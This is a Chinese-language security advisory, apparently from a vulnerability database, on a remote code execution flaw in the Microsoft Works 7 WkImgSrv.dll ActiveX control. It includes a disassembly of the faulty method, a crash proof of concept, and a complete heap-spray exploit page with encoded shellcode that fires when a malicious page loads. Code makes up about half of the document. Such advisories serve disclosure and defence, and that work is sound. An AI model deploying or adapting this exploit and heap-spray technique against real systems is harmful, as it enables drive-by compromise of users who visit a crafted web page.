安全研究
安全漏洞
Microsoft Works 7 WkImgSrv.dll ActiveX控件远程代码执行漏洞
发布日期：2008-04-17
更新日期：2008-05-05
受影响系统：
Microsoft Works 7描述：
BUGTRAQ ID: 28820
Microsoft Works是微软在早期所发布的文件处理程序。
Microsoft Works所带的ActiveX控件实现上存在漏洞，远程攻击者可能利用此漏洞控制用户系统。
Microsoft Works所提供的wkimgsrv.dll库没有安全地调用WKsPictureInterface方式：
00D473BD PUSH EBP ;
Begin of Set WksPictureInterface method
00D473BE MOV EBP,ESP
00D473C0 SUB ESP,1C
00D473C3 MOV EAX,DWORD PTR SS:[EBP+C] ; Move paramater to EAX
00D473C6 PUSH ESI
00D473C7 TEST EAX,EAX ; Checking whether
EAX is NULL
00D473C9 JNZ SHORT wkimgsrv.00D473D5 ; OK,if it is not null continue
00D473CB MOV EAX,80004005 ;
00D473D0 JMP wkimgsrv.00D47456 ;No,it's is NULL,exit method
00D473D5 ==> MOV ESI,DWORD PTR SS:[EBP+8] ; Do some other stuffs, we don't care
00D473D8 LEA EDX,DWORD PTR SS:[EBP-1C] ;
00D473DB PUSH EDX
00D473DC PUSH EAX
00D473DD MOV DWORD PTR DS:[ESI+2A0],EAX ; =============
00D473E3 ==> MOV ECX,DWORD PTR DS:[EAX] ; Here is the
problem,the data stored by EAX is referenced and moved into ECX
00D473E5 CALL DWORD PTR DS:[ECX+30] ;Next the address
in some struct pointed by ECX is called
如果能够在内存中创建第一个DWORD指向其本身且0x30偏移处的DWORD指向shellcode的结构，则当用户在访问恶意网页时就可能触发无效的内存访问，导致拒绝服务或执行任意指令。
<*来源：Shennan Wang （wsn1983@gmail.com）
链接：http://marc.info/?l=bugtraq&m=120845200813992&w=2
http://www.milw0rm.com/exploits/5530
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<head>
<title>Microsoft Works 7 WkImgSrv.dll crash POC</title>
<script language="JavaScript">
function payload() { var num = -1;
obj.WksPictureInterface = num;
}
</script>
</head>
<body onload="JavaScript: return payload();">
<object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj">
</object>
</body>
</html>
<html>
<head>
<title>Microsoft Works 7 WkImgSrv.dll Exploit</title>
Coded by lhoang8500
lhoang8500[at]gmail[dot]com
BKIS Center - Vietnam
<SCRIPT language="javascript">
var heapSprayToAddress = 0x0A0A0A0A;
var payLoadCode =
unescape("%u9090%u9090%u9090%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0A0A%u0A0A");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</script>
<script language="JavaScript">
function payload() {
var num = 168430090;
obj.WksPictureInterface = num;
}
</script>
</head>
<body onload="JavaScript: return payload();">
<object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj">
</object>
</body>
</html>
建议：
厂商补丁：
Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.microsoft.com/technet/security/
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